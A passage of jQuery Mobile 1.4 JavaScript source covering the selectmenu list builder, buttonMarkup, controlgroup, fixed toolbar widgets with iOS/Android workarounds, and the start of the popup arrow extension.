self.menuPage .find( "div .ui-title" ) .text( self.label.getEncodedText() || self.placeholder ); } else { self.menuType = "overlay"; self.listbox.one( { popupafteropen: $.proxy( this, "_focusMenuItem" ) } ); } }, _buildList: function() { var self = this, o = this.options, placeholder = this.placeholder, needPlaceholder = true, dataIcon = "false", $options, numOptions, select, dataPrefix = "data-" + $.mobile.ns, dataIndexAttr = dataPrefix + "option-index", dataIconAttr = dataPrefix + "icon", dataRoleAttr = dataPrefix + "role", dataPlaceholderAttr = dataPrefix + "placeholder", fragment = document.createDocumentFragment(), isPlaceholderItem = false, optGroup, i, option, $option, parent, text, anchor, classes, optLabel, divider, item; self.list.empty().filter( ".ui-listview" ).listview( "destroy" ); $options = this._selectOptions(); numOptions = $options.length; select = this.select[ 0 ]; for ( i = 0; i < numOptions;i++, isPlaceholderItem = false) { option = $options[i]; $option = $( option ); // Do not create options based on ui-screen-hidden select options if ( $option.hasClass( "ui-screen-hidden" ) ) { continue; } parent = option.parentNode; classes = []; // Although using .text() here raises the risk that, when we later paste this into the // list item we end up pasting possibly malicious things like <script> tags, that risk // only arises if we do something like $( "<li><a href='#'>" + text + "</a></li>" ). We // don't do that. We do document.createTextNode( text ) instead, which guarantees that // whatever we paste in will end up as text, with characters like <, > and & escaped. text = $option.text(); anchor = document.createElement( "a" ); anchor.setAttribute( "href", "#" ); anchor.appendChild( document.createTextNode( text ) ); // Are we inside an optgroup? if ( parent !== select && parent.nodeName.toLowerCase() === "optgroup" ) { optLabel = parent.getAttribute( "label" ); if ( optLabel !== optGroup ) { divider = document.createElement( "li" ); divider.setAttribute( dataRoleAttr, "list-divider" ); divider.setAttribute( "role", "option" ); divider.setAttribute( "tabindex", "-1" ); divider.appendChild( document.createTextNode( optLabel ) ); fragment.appendChild( divider ); optGroup = optLabel; } } if ( needPlaceholder && ( !option.getAttribute( "value" ) || text.length === 0 || $option.jqmData( "placeholder" ) ) ) { needPlaceholder = false; isPlaceholderItem = true; // If we have identified a placeholder, record the fact that it was // us who have added the placeholder to the option and mark it // retroactively in the select as well if ( null === option.getAttribute( dataPlaceholderAttr ) ) { this._removePlaceholderAttr = true; } option.setAttribute( dataPlaceholderAttr, true ); if ( o.hidePlaceholderMenuItems ) { classes.push( "ui-screen-hidden" ); } if ( placeholder !== text ) { placeholder = self.placeholder = text; } } item = document.createElement( "li" ); if ( option.disabled ) { classes.push( "ui-state-disabled" ); item.setAttribute( "aria-disabled", true ); } item.setAttribute( dataIndexAttr, i ); item.setAttribute( dataIconAttr, dataIcon ); if ( isPlaceholderItem ) { item.setAttribute( dataPlaceholderAttr, true ); } item.className = classes.join( " " ); item.setAttribute( "role", "option" ); anchor.setAttribute( "tabindex", "-1" ); if ( this.isMultiple ) { $( anchor ).addClass( "ui-btn ui-checkbox-off ui-btn-icon-right" ); } item.appendChild( anchor ); fragment.appendChild( item ); } self.list[0].appendChild( fragment ); // Hide header if it's not a multiselect and there's no placeholder if ( !this.isMultiple && !placeholder.length ) { this.header.addClass( "ui-screen-hidden" ); } else { this.headerTitle.text( this.placeholder ); } // Now populated, create listview self.list.listview(); }, _button: function() { return this.options.nativeMenu ? this._super() : $( "<a>", { "href": "#", "role": "button", // TODO value is undefined at creation "id": this.buttonId, "aria-haspopup": "true", // TODO value is undefined at creation "aria-owns": this.menuId }); }, _destroy: function() { if ( !this.options.nativeMenu ) { this.close(); // Restore the tabindex attribute to its original value if ( this._origTabIndex !== undefined ) { if ( this._origTabIndex !== false ) { this.select.attr( "tabindex", this._origTabIndex ); } else { this.select.removeAttr( "tabindex" ); } } // Remove the placeholder attribute if we were the ones to add it if ( this._removePlaceholderAttr ) { this._selectOptions().removeAttr( "data-" + $.mobile.ns + "placeholder" ); } // Remove the popup this.listbox.remove(); // Remove the dialog this.menuPage.remove(); } // Chain up this._super(); } }); })( jQuery ); // buttonMarkup is deprecated as of 1.4.0 and will be removed in 1.5.0. (function( $, undefined ) { // General policy: Do not access data-* attributes except during enhancement. // In all other cases we determine the state of the button exclusively from its // className. That's why optionsToClasses expects a full complement of options, // and the jQuery plugin completes the set of options from the default values. // Map classes to buttonMarkup boolean options - used in classNameToOptions() var reverseBoolOptionMap = { "ui-shadow" : "shadow", "ui-corner-all" : "corners", "ui-btn-inline" : "inline", "ui-shadow-icon" : "iconshadow", /* TODO: Remove in 1.5 */ "ui-mini" : "mini" }, getAttrFixed = function() { var ret = $.mobile.getAttribute.apply( this, arguments ); return ( ret == null ? undefined : ret ); }, capitalLettersRE = /[A-Z]/g; // optionsToClasses: // @options: A complete set of options to convert to class names. // @existingClasses: extra classes to add to the result // // Converts @options to buttonMarkup classes and returns the result as an array // that can be converted to an element's className with .join( " " ). All // possible options must be set inside @options. Use $.fn.buttonMarkup.defaults // to get a complete set and use $.extend to override your choice of options // from that set. function optionsToClasses( options, existingClasses ) { var classes = existingClasses ? existingClasses : []; // Add classes to the array - first ui-btn classes.push( "ui-btn" ); // If there is a theme if ( options.theme ) { classes.push( "ui-btn-" + options.theme ); } // If there's an icon, add the icon-related classes if ( options.icon ) { classes = classes.concat([ "ui-icon-" + options.icon, "ui-btn-icon-" + options.iconpos ]); if ( options.iconshadow ) { classes.push( "ui-shadow-icon" ); /* TODO: Remove in 1.5 */ } } // Add the appropriate class for each boolean option if ( options.inline ) { classes.push( "ui-btn-inline" ); } if ( options.shadow ) { classes.push( "ui-shadow" ); } if ( options.corners ) { classes.push( "ui-corner-all" ); } if ( options.mini ) { classes.push( "ui-mini" ); } // Create a string from the array and return it return classes; } // classNameToOptions: // @classes: A string containing a .className-style space-separated class list // // Loops over @classes and calculates an options object based on the // buttonMarkup-related classes it finds. It records unrecognized classes in an // array. // // Returns: An object containing the following items: // // "options": buttonMarkup options found to be present because of the // presence/absence of corresponding classes // // "unknownClasses": a string containing all the non-buttonMarkup-related // classes found in @classes // // "alreadyEnhanced": A boolean indicating whether the ui-btn class was among // those found to be present function classNameToOptions( classes ) { var idx, map, unknownClass, alreadyEnhanced = false, noIcon = true, o = { icon: "", inline: false, shadow: false, corners: false, iconshadow: false, mini: false }, unknownClasses = []; classes = classes.split( " " ); // Loop over the classes for ( idx = 0 ; idx < classes.length ; idx++ ) { // Assume it's an unrecognized class unknownClass = true; // Recognize boolean options from the presence of classes map = reverseBoolOptionMap[ classes[ idx ] ]; if ( map !== undefined ) { unknownClass = false; o[ map ] = true; // Recognize the presence of an icon and establish the icon position } else if ( classes[ idx ].indexOf( "ui-btn-icon-" ) === 0 ) { unknownClass = false; noIcon = false; o.iconpos = classes[ idx ].substring( 12 ); // Establish which icon is present } else if ( classes[ idx ].indexOf( "ui-icon-" ) === 0 ) { unknownClass = false; o.icon = classes[ idx ].substring( 8 ); // Establish the theme - this recognizes one-letter theme swatch names } else if ( classes[ idx ].indexOf( "ui-btn-" ) === 0 && classes[ idx ].length === 8 ) { unknownClass = false; o.theme = classes[ idx ].substring( 7 ); // Recognize that this element has already been buttonMarkup-enhanced } else if ( classes[ idx ] === "ui-btn" ) { unknownClass = false; alreadyEnhanced = true; } // If this class has not been recognized, add it to the list if ( unknownClass ) { unknownClasses.push( classes[ idx ] ); } } // If a "ui-btn-icon-*" icon position class is absent there cannot be an icon if ( noIcon ) { o.icon = ""; } return { options: o, unknownClasses: unknownClasses, alreadyEnhanced: alreadyEnhanced }; } function camelCase2Hyphenated( c ) { return "-" + c.toLowerCase(); } // $.fn.buttonMarkup: // DOM: gets/sets .className // // @options: options to apply to the elements in the jQuery object // @overwriteClasses: boolean indicating whether to honour existing classes // // Calculates the classes to apply to the elements in the jQuery object based on // the options passed in. If @overwriteClasses is true, it sets the className // property of each element in the jQuery object to the buttonMarkup classes // it calculates based on the options passed in. // // If you wish to preserve any classes that are already present on the elements // inside the jQuery object, including buttonMarkup-related classes that were // added by a previous call to $.fn.buttonMarkup() or during page enhancement // then you should omit @overwriteClasses or set it to false. $.fn.buttonMarkup = function( options, overwriteClasses ) { var idx, data, el, retrievedOptions, optionKey, defaults = $.fn.buttonMarkup.defaults; for ( idx = 0 ; idx < this.length ; idx++ ) { el = this[ idx ]; data = overwriteClasses ? // Assume this element is not enhanced and ignore its classes { alreadyEnhanced: false, unknownClasses: [] } : // Otherwise analyze existing classes to establish existing options and // classes classNameToOptions( el.className ); retrievedOptions = $.extend( {}, // If the element already has the class ui-btn, then we assume that // it has passed through buttonMarkup before - otherwise, the options // returned by classNameToOptions do not correctly reflect the state of // the element ( data.alreadyEnhanced ? data.options : {} ), // Finally, apply the options passed in options ); // If this is the first call on this element, retrieve remaining options // from the data-attributes if ( !data.alreadyEnhanced ) { for ( optionKey in defaults ) { if ( retrievedOptions[ optionKey ] === undefined ) { retrievedOptions[ optionKey ] = getAttrFixed( el, optionKey.replace( capitalLettersRE, camelCase2Hyphenated ) ); } } } el.className = optionsToClasses( // Merge all the options and apply them as classes $.extend( {}, // The defaults form the basis defaults, // Add the computed options retrievedOptions ), // ... and re-apply any unrecognized classes that were found data.unknownClasses ).join( " " ); if ( el.tagName.toLowerCase() !== "button" ) { el.setAttribute( "role", "button" ); } } return this; }; // buttonMarkup defaults. This must be a complete set, i.e., a value must be // given here for all recognized options $.fn.buttonMarkup.defaults = { icon: "", iconpos: "left", theme: null, inline: false, shadow: true, corners: true, iconshadow: false, /* TODO: Remove in 1.5. Option deprecated in 1.4. */ mini: false }; $.extend( $.fn.buttonMarkup, { initSelector: "a:jqmData(role='button'), .ui-bar > a, .ui-bar > :jqmData(role='controlgroup') > a, button:not(:jqmData(role='navbar') button)" }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.controlgroup", $.extend( { options: { enhanced: false, theme: null, shadow: false, corners: true, excludeInvisible: true, type: "vertical", mini: false }, _create: function() { var elem = this.element, opts = this.options, keepNative = $.mobile.page.prototype.keepNativeSelector(); // Run buttonmarkup if ( $.fn.buttonMarkup ) { this.element .find( $.fn.buttonMarkup.initSelector ) .not( keepNative ) .buttonMarkup(); } // Enhance child widgets $.each( this._childWidgets, $.proxy( function( number, widgetName ) { if ( $.mobile[ widgetName ] ) { this.element .find( $.mobile[ widgetName ].initSelector ) .not( keepNative )[ widgetName ](); } }, this )); $.extend( this, { _ui: null, _initialRefresh: true }); if ( opts.enhanced ) { this._ui = { groupLegend: elem.children( ".ui-controlgroup-label" ).children(), childWrapper: elem.children( ".ui-controlgroup-controls" ) }; } else { this._ui = this._enhance(); } }, _childWidgets: [ "checkboxradio", "selectmenu", "button" ], _themeClassFromOption: function( value ) { return ( value ? ( value === "none" ? "" : "ui-group-theme-" + value ) : "" ); }, _enhance: function() { var elem = this.element, opts = this.options, ui = { groupLegend: elem.children( "legend" ), childWrapper: elem .addClass( "ui-controlgroup " + "ui-controlgroup-" + ( opts.type === "horizontal" ? "horizontal" : "vertical" ) + " " + this._themeClassFromOption( opts.theme ) + " " + ( opts.corners ? "ui-corner-all " : "" ) + ( opts.mini ? "ui-mini " : "" ) ) .wrapInner( "<div " + "class='ui-controlgroup-controls " + ( opts.shadow === true ? "ui-shadow" : "" ) + "'></div>" ) .children() }; if ( ui.groupLegend.length > 0 ) { $( "<div role='heading' class='ui-controlgroup-label'></div>" ) .append( ui.groupLegend ) .prependTo( elem ); } return ui; }, _init: function() { this.refresh(); }, _setOptions: function( options ) { var callRefresh, returnValue, elem = this.element; // Must have one of horizontal or vertical if ( options.type !== undefined ) { elem .removeClass( "ui-controlgroup-horizontal ui-controlgroup-vertical" ) .addClass( "ui-controlgroup-" + ( options.type === "horizontal" ? "horizontal" : "vertical" ) ); callRefresh = true; } if ( options.theme !== undefined ) { elem .removeClass( this._themeClassFromOption( this.options.theme ) ) .addClass( this._themeClassFromOption( options.theme ) ); } if ( options.corners !== undefined ) { elem.toggleClass( "ui-corner-all", options.corners ); } if ( options.mini !== undefined ) { elem.toggleClass( "ui-mini", options.mini ); } if ( options.shadow !== undefined ) { this._ui.childWrapper.toggleClass( "ui-shadow", options.shadow ); } if ( options.excludeInvisible !== undefined ) { this.options.excludeInvisible = options.excludeInvisible; callRefresh = true; } returnValue = this._super( options ); if ( callRefresh ) { this.refresh(); } return returnValue; }, container: function() { return this._ui.childWrapper; }, refresh: function() { var $el = this.container(), els = $el.find( ".ui-btn" ).not( ".ui-slider-handle" ), create = this._initialRefresh; if ( $.mobile.checkboxradio ) { $el.find( ":mobile-checkboxradio" ).checkboxradio( "refresh" ); } this._addFirstLastClasses( els, this.options.excludeInvisible ? this._getVisibles( els, create ) : els, create ); this._initialRefresh = false; }, // Caveat: If the legend is not the first child of the controlgroup at enhance // time, it will be after _destroy(). _destroy: function() { var ui, buttons, opts = this.options; if ( opts.enhanced ) { return this; } ui = this._ui; buttons = this.element .removeClass( "ui-controlgroup " + "ui-controlgroup-horizontal ui-controlgroup-vertical ui-corner-all ui-mini " + this._themeClassFromOption( opts.theme ) ) .find( ".ui-btn" ) .not( ".ui-slider-handle" ); this._removeFirstLastClasses( buttons ); ui.groupLegend.unwrap(); ui.childWrapper.children().unwrap(); } }, $.mobile.behaviors.addFirstLastClasses ) ); })(jQuery); (function( $, undefined ) { $.widget( "mobile.toolbar", { initSelector: ":jqmData(role='footer'), :jqmData(role='header')", options: { theme: null, addBackBtn: false, backBtnTheme: null, backBtnText: "Back" }, _create: function() { var leftbtn, rightbtn, role = this.element.is( ":jqmData(role='header')" ) ? "header" : "footer", page = this.element.closest( ".ui-page" ); if ( page.length === 0 ) { page = false; this._on( this.document, { "pageshow": "refresh" }); } $.extend( this, { role: role, page: page, leftbtn: leftbtn, rightbtn: rightbtn }); this.element.attr( "role", role === "header" ? "banner" : "contentinfo" ).addClass( "ui-" + role ); this.refresh(); this._setOptions( this.options ); }, _setOptions: function( o ) { if ( o.addBackBtn !== undefined ) { this._updateBackButton(); } if ( o.backBtnTheme != null ) { this.element .find( ".ui-toolbar-back-btn" ) .addClass( "ui-btn ui-btn-" + o.backBtnTheme ); } if ( o.backBtnText !== undefined ) { this.element.find( ".ui-toolbar-back-btn .ui-btn-text" ).text( o.backBtnText ); } if ( o.theme !== undefined ) { var currentTheme = this.options.theme ? this.options.theme : "inherit", newTheme = o.theme ? o.theme : "inherit"; this.element.removeClass( "ui-bar-" + currentTheme ).addClass( "ui-bar-" + newTheme ); } this._super( o ); }, refresh: function() { if ( this.role === "header" ) { this._addHeaderButtonClasses(); } if ( !this.page ) { this._setRelative(); if ( this.role === "footer" ) { this.element.appendTo( "body" ); } else if ( this.role === "header" ) { this._updateBackButton(); } } this._addHeadingClasses(); this._btnMarkup(); }, //we only want this to run on non fixed toolbars so make it easy to override _setRelative: function() { $( "[data-"+ $.mobile.ns + "role='page']" ).css({ "position": "relative" }); }, // Deprecated in 1.4. As from 1.5 button classes have to be present in the markup. _btnMarkup: function() { this.element .children( "a" ) .filter( ":not([data-" + $.mobile.ns + "role='none'])" ) .attr( "data-" + $.mobile.ns + "role", "button" ); this.element.trigger( "create" ); }, // Deprecated in 1.4. As from 1.5 ui-btn-left/right classes have to be present in the markup. _addHeaderButtonClasses: function() { var headerAnchors = this.element.children( "a, button" ); // Do not mistake a back button for a left toolbar button this.leftbtn = headerAnchors.hasClass( "ui-btn-left" ) && !headerAnchors.hasClass( "ui-toolbar-back-btn" ); this.rightbtn = headerAnchors.hasClass( "ui-btn-right" ); // Filter out right buttons and back buttons this.leftbtn = this.leftbtn || headerAnchors.eq( 0 ) .not( ".ui-btn-right,.ui-toolbar-back-btn" ) .addClass( "ui-btn-left" ) .length; this.rightbtn = this.rightbtn || headerAnchors.eq( 1 ).addClass( "ui-btn-right" ).length; }, _updateBackButton: function() { var backButton, options = this.options, theme = options.backBtnTheme || options.theme; // Retrieve the back button or create a new, empty one backButton = this._backButton = ( this._backButton || {} ); // We add a back button only if the option to do so is on if ( this.options.addBackBtn && // This must also be a header toolbar this.role === "header" && // There must be multiple pages in the DOM $( ".ui-page" ).length > 1 && ( this.page ? // If the toolbar is internal the page's URL must differ from the hash ( this.page[ 0 ].getAttribute( "data-" + $.mobile.ns + "url" ) !== $.mobile.path.stripHash( location.hash ) ) : // Otherwise, if the toolbar is external there must be at least one // history item to which one can go back ( $.mobile.navigate && $.mobile.navigate.history && $.mobile.navigate.history.activeIndex > 0 ) ) && // The toolbar does not have a left button !this.leftbtn ) { // Skip back button creation if one is already present if ( !backButton.attached ) { this.backButton = backButton.element = ( backButton.element || $( "<a role='button' href='javascript:void(0);' " + "class='ui-btn ui-corner-all ui-shadow ui-btn-left " + ( theme ? "ui-btn-" + theme + " " : "" ) + "ui-toolbar-back-btn ui-icon-carat-l ui-btn-icon-left' " + "data-" + $.mobile.ns + "rel='back'>" + options.backBtnText + "</a>" ) ) .prependTo( this.element ); backButton.attached = true; } // If we are not adding a back button, then remove the one present, if any } else if ( backButton.element ) { backButton.element.detach(); backButton.attached = false; } }, _addHeadingClasses: function() { this.element.children( "h1, h2, h3, h4, h5, h6" ) .addClass( "ui-title" ) // Regardless of h element number in src, it becomes h1 for the enhanced page .attr({ "role": "heading", "aria-level": "1" }); }, _destroy: function() { var currentTheme; this.element.children( "h1, h2, h3, h4, h5, h6" ) .removeClass( "ui-title" ) .removeAttr( "role" ) .removeAttr( "aria-level" ); if ( this.role === "header" ) { this.element.children( "a, button" ) .removeClass( "ui-btn-left ui-btn-right ui-btn ui-shadow ui-corner-all" ); if ( this.backButton) { this.backButton.remove(); } } currentTheme = this.options.theme ? this.options.theme : "inherit"; this.element.removeClass( "ui-bar-" + currentTheme ); this.element.removeClass( "ui-" + this.role ).removeAttr( "role" ); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.toolbar", $.mobile.toolbar, { options: { position:null, visibleOnPageShow: true, disablePageZoom: true, transition: "slide", //can be none, fade, slide (slide maps to slideup or slidedown) fullscreen: false, tapToggle: true, tapToggleBlacklist: "a, button, input, select, textarea, .ui-header-fixed, .ui-footer-fixed, .ui-flipswitch, .ui-popup, .ui-panel, .ui-panel-dismiss-open", hideDuringFocus: "input, textarea, select", updatePagePadding: true, trackPersistentToolbars: true, // Browser detection! Weeee, here we go... // Unfortunately, position:fixed is costly, not to mention probably impossible, to feature-detect accurately. // Some tests exist, but they currently return false results in critical devices and browsers, which could lead to a broken experience. // Testing fixed positioning is also pretty obtrusive to page load, requiring injected elements and scrolling the window // The following function serves to rule out some popular browsers with known fixed-positioning issues // This is a plugin option like any other, so feel free to improve or overwrite it supportBlacklist: function() { return !$.support.fixedPosition; } }, _create: function() { this._super(); this.pagecontainer = $( ":mobile-pagecontainer" ); if ( this.options.position === "fixed" && !this.options.supportBlacklist() ) { this._makeFixed(); } }, _makeFixed: function() { this.element.addClass( "ui-"+ this.role +"-fixed" ); this.updatePagePadding(); this._addTransitionClass(); this._bindPageEvents(); this._bindToggleHandlers(); }, _setOptions: function( o ) { if ( o.position === "fixed" && this.options.position !== "fixed" ) { this._makeFixed(); } if ( this.options.position === "fixed" && !this.options.supportBlacklist() ) { var $page = ( !!this.page )? this.page: ( $(".ui-page-active").length > 0 )? $(".ui-page-active"): $(".ui-page").eq(0); if ( o.fullscreen !== undefined) { if ( o.fullscreen ) { this.element.addClass( "ui-"+ this.role +"-fullscreen" ); $page.addClass( "ui-page-" + this.role + "-fullscreen" ); } // If not fullscreen, add class to page to set top or bottom padding else { this.element.removeClass( "ui-"+ this.role +"-fullscreen" ); $page.removeClass( "ui-page-" + this.role + "-fullscreen" ).addClass( "ui-page-" + this.role+ "-fixed" ); } } } this._super(o); }, _addTransitionClass: function() { var tclass = this.options.transition; if ( tclass && tclass !== "none" ) { // use appropriate slide for header or footer if ( tclass === "slide" ) { tclass = this.element.hasClass( "ui-header" ) ? "slidedown" : "slideup"; } this.element.addClass( tclass ); } }, _bindPageEvents: function() { var page = ( !!this.page )? this.element.closest( ".ui-page" ): this.document; //page event bindings // Fixed toolbars require page zoom to be disabled, otherwise usability issues crop up // This method is meant to disable zoom while a fixed-positioned toolbar page is visible this._on( page , { "pagebeforeshow": "_handlePageBeforeShow", "webkitAnimationStart":"_handleAnimationStart", "animationstart":"_handleAnimationStart", "updatelayout": "_handleAnimationStart", "pageshow": "_handlePageShow", "pagebeforehide": "_handlePageBeforeHide" }); }, _handlePageBeforeShow: function( ) { var o = this.options; if ( o.disablePageZoom ) { $.mobile.zoom.disable( true ); } if ( !o.visibleOnPageShow ) { this.hide( true ); } }, _handleAnimationStart: function() { if ( this.options.updatePagePadding ) { this.updatePagePadding( ( !!this.page )? this.page: ".ui-page-active" ); } }, _handlePageShow: function() { this.updatePagePadding( ( !!this.page )? this.page: ".ui-page-active" ); if ( this.options.updatePagePadding ) { this._on( this.window, { "throttledresize": "updatePagePadding" } ); } }, _handlePageBeforeHide: function( e, ui ) { var o = this.options, thisFooter, thisHeader, nextFooter, nextHeader; if ( o.disablePageZoom ) { $.mobile.zoom.enable( true ); } if ( o.updatePagePadding ) { this._off( this.window, "throttledresize" ); } if ( o.trackPersistentToolbars ) { thisFooter = $( ".ui-footer-fixed:jqmData(id)", this.page ); thisHeader = $( ".ui-header-fixed:jqmData(id)", this.page ); nextFooter = thisFooter.length && ui.nextPage && $( ".ui-footer-fixed:jqmData(id='" + thisFooter.jqmData( "id" ) + "')", ui.nextPage ) || $(); nextHeader = thisHeader.length && ui.nextPage && $( ".ui-header-fixed:jqmData(id='" + thisHeader.jqmData( "id" ) + "')", ui.nextPage ) || $(); if ( nextFooter.length || nextHeader.length ) { nextFooter.add( nextHeader ).appendTo( $.mobile.pageContainer ); ui.nextPage.one( "pageshow", function() { nextHeader.prependTo( this ); nextFooter.appendTo( this ); }); } } }, _visible: true, // This will set the content element's top or bottom padding equal to the toolbar's height updatePagePadding: function( tbPage ) { var $el = this.element, header = ( this.role ==="header" ), pos = parseFloat( $el.css( header ? "top" : "bottom" ) ); // This behavior only applies to "fixed", not "fullscreen" if ( this.options.fullscreen ) { return; } // tbPage argument can be a Page object or an event, if coming from throttled resize. tbPage = ( tbPage && tbPage.type === undefined && tbPage ) || this.page || $el.closest( ".ui-page" ); tbPage = ( !!this.page )? this.page: ".ui-page-active"; $( tbPage ).css( "padding-" + ( header ? "top" : "bottom" ), $el.outerHeight() + pos ); }, _useTransition: function( notransition ) { var $win = this.window, $el = this.element, scroll = $win.scrollTop(), elHeight = $el.height(), pHeight = ( !!this.page )? $el.closest( ".ui-page" ).height():$(".ui-page-active").height(), viewportHeight = $.mobile.getScreenHeight(); return !notransition && ( this.options.transition && this.options.transition !== "none" && ( ( this.role === "header" && !this.options.fullscreen && scroll > elHeight ) || ( this.role === "footer" && !this.options.fullscreen && scroll + viewportHeight < pHeight - elHeight ) ) || this.options.fullscreen ); }, show: function( notransition ) { var hideClass = "ui-fixed-hidden", $el = this.element; if ( this._useTransition( notransition ) ) { $el .removeClass( "out " + hideClass ) .addClass( "in" ) .animationComplete(function () { $el.removeClass( "in" ); }); } else { $el.removeClass( hideClass ); } this._visible = true; }, hide: function( notransition ) { var hideClass = "ui-fixed-hidden", $el = this.element, // if it's a slide transition, our new transitions need the reverse class as well to slide outward outclass = "out" + ( this.options.transition === "slide" ? " reverse" : "" ); if ( this._useTransition( notransition ) ) { $el .addClass( outclass ) .removeClass( "in" ) .animationComplete(function() { $el.addClass( hideClass ).removeClass( outclass ); }); } else { $el.addClass( hideClass ).removeClass( outclass ); } this._visible = false; }, toggle: function() { this[ this._visible ? "hide" : "show" ](); }, _bindToggleHandlers: function() { var self = this, o = self.options, delayShow, delayHide, isVisible = true, page = ( !!this.page )? this.page: $(".ui-page"); // tap toggle page .bind( "vclick", function( e ) { if ( o.tapToggle && !$( e.target ).closest( o.tapToggleBlacklist ).length ) { self.toggle(); } }) .bind( "focusin focusout", function( e ) { //this hides the toolbars on a keyboard pop to give more screen room and prevent ios bug which //positions fixed toolbars in the middle of the screen on pop if the input is near the top or //bottom of the screen addresses issues #4410 Footer navbar moves up when clicking on a textbox in an Android environment //and issue #4113 Header and footer change their position after keyboard popup - iOS //and issue #4410 Footer navbar moves up when clicking on a textbox in an Android environment if ( screen.width < 1025 && $( e.target ).is( o.hideDuringFocus ) && !$( e.target ).closest( ".ui-header-fixed, .ui-footer-fixed" ).length ) { //Fix for issue #4724 Moving through form in Mobile Safari with "Next" and "Previous" system //controls causes fixed position, tap-toggle false Header to reveal itself // isVisible instead of self._visible because the focusin and focusout events fire twice at the same time // Also use a delay for hiding the toolbars because on Android native browser focusin is direclty followed // by a focusout when a native selects opens and the other way around when it closes. if ( e.type === "focusout" && !isVisible ) { isVisible = true; //wait for the stack to unwind and see if we have jumped to another input clearTimeout( delayHide ); delayShow = setTimeout( function() { self.show(); }, 0 ); } else if ( e.type === "focusin" && !!isVisible ) { //if we have jumped to another input clear the time out to cancel the show. clearTimeout( delayShow ); isVisible = false; delayHide = setTimeout( function() { self.hide(); }, 0 ); } } }); }, _setRelative: function() { if( this.options.position !== "fixed" ){ $( "[data-"+ $.mobile.ns + "role='page']" ).css({ "position": "relative" }); } }, _destroy: function() { var pageClasses, toolbarClasses, hasFixed, header, hasFullscreen, page = this.pagecontainer.pagecontainer( "getActivePage" ); this._super(); if ( this.options.position === "fixed" ) { hasFixed = $( "body>.ui-" + this.role + "-fixed" ) .add( page.find( ".ui-" + this.options.role + "-fixed" ) ) .not( this.element ).length > 0; hasFullscreen = $( "body>.ui-" + this.role + "-fixed" ) .add( page.find( ".ui-" + this.options.role + "-fullscreen" ) ) .not( this.element ).length > 0; toolbarClasses = "ui-header-fixed ui-footer-fixed ui-header-fullscreen in out" + " ui-footer-fullscreen fade slidedown slideup ui-fixed-hidden"; this.element.removeClass( toolbarClasses ); if ( !hasFullscreen ) { pageClasses = "ui-page-" + this.role + "-fullscreen"; } if ( !hasFixed ) { header = this.role === "header"; pageClasses += " ui-page-" + this.role + "-fixed"; page.css( "padding-" + ( header ? "top" : "bottom" ), "" ); } page.removeClass( pageClasses ); } } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.toolbar", $.mobile.toolbar, { _makeFixed: function() { this._super(); this._workarounds(); }, //check the browser and version and run needed workarounds _workarounds: function() { var ua = navigator.userAgent, platform = navigator.platform, // Rendering engine is Webkit, and capture major version wkmatch = ua.match( /AppleWebKit\/([0-9]+)/ ), wkversion = !!wkmatch && wkmatch[ 1 ], os = null, self = this; //set the os we are working in if it dosent match one with workarounds return if ( platform.indexOf( "iPhone" ) > -1 || platform.indexOf( "iPad" ) > -1 || platform.indexOf( "iPod" ) > -1 ) { os = "ios"; } else if ( ua.indexOf( "Android" ) > -1 ) { os = "android"; } else { return; } //check os version if it dosent match one with workarounds return if ( os === "ios" ) { //iOS workarounds self._bindScrollWorkaround(); } else if ( os === "android" && wkversion && wkversion < 534 ) { //Android 2.3 run all Android 2.3 workaround self._bindScrollWorkaround(); self._bindListThumbWorkaround(); } else { return; } }, //Utility class for checking header and footer positions relative to viewport _viewportOffset: function() { var $el = this.element, header = $el.hasClass( "ui-header" ), offset = Math.abs( $el.offset().top - this.window.scrollTop() ); if ( !header ) { offset = Math.round( offset - this.window.height() + $el.outerHeight() ) - 60; } return offset; }, //bind events for _triggerRedraw() function _bindScrollWorkaround: function() { var self = this; //bind to scrollstop and check if the toolbars are correctly positioned this._on( this.window, { scrollstop: function() { var viewportOffset = self._viewportOffset(); //check if the header is visible and if its in the right place if ( viewportOffset > 2 && self._visible ) { self._triggerRedraw(); } }}); }, //this addresses issue #4250 Persistent footer instability in v1.1 with long select lists in Android 2.3.3 //and issue #3748 Android 2.x: Page transitions broken when fixed toolbars used //the absolutely positioned thumbnail in a list view causes problems with fixed position buttons above in a nav bar //setting the li's to -webkit-transform:translate3d(0,0,0); solves this problem to avoide potential issues in other //platforms we scope this with the class ui-android-2x-fix _bindListThumbWorkaround: function() { this.element.closest( ".ui-page" ).addClass( "ui-android-2x-fixed" ); }, //this addresses issues #4337 Fixed header problem after scrolling content on iOS and Android //and device bugs project issue #1 Form elements can lose click hit area in position: fixed containers. //this also addresses not on fixed toolbars page in docs //adding 1px of padding to the bottom then removing it causes a "redraw" //which positions the toolbars correctly (they will always be visually correct) _triggerRedraw: function() { var paddingBottom = parseFloat( $( ".ui-page-active" ).css( "padding-bottom" ) ); //trigger page redraw to fix incorrectly positioned fixed elements $( ".ui-page-active" ).css( "padding-bottom", ( paddingBottom + 1 ) + "px" ); //if the padding is reset with out a timeout the reposition will not occure. //this is independant of JQM the browser seems to need the time to react. setTimeout( function() { $( ".ui-page-active" ).css( "padding-bottom", paddingBottom + "px" ); }, 0 ); }, destroy: function() { this._super(); //Remove the class we added to the page previously in android 2.x this.element.closest( ".ui-page-active" ).removeClass( "ui-android-2x-fix" ); } }); })( jQuery ); ( function( $, undefined ) { var ieHack = ( $.mobile.browser.oldIE && $.mobile.browser.oldIE <= 8 ), uiTemplate = $( "<div class='ui-popup-arrow-guide'></div>" + "<div class='ui-popup-arrow-container" + ( ieHack ? " ie" : "" ) + "'>" + "<div class='ui-popup-arrow'></div>" + "</div>" ); function getArrow() { var clone = uiTemplate.clone(), gd = clone.eq( 0 ), ct = clone.eq( 1 ), ar = ct.children(); return { arEls: ct.add( gd ), gd: gd, ct: ct, ar: ar }; } $.widget( "mobile.popup", $.mobile.popup, { options: { arrow: "" }, _create: function() { var ar, ret = this._super(); if ( this.options.arrow ) { this._ui.arrow = ar = this._addArrow(); } return ret; }, _addArrow: function() { var theme, opts = this.options, ar = getArrow(); theme = this._themeClassFromOption( "ui-body-", opts.theme ); ar.ar.addClass( theme + ( opts.shadow ? " ui-overlay-shadow" : "" ) ); ar.arEls.hide().appendTo( this.element ); return ar; }, _unenhance: function() { var ar = this._ui.arrow; if ( ar ) { ar.arEls.remove(); } return this._super(); }, // Pretend to show an arrow described by @p and @dir and calculate the // distance from the desired point. If a best-distance is passed in, return // the minimum of the one passed in and the one calculated. 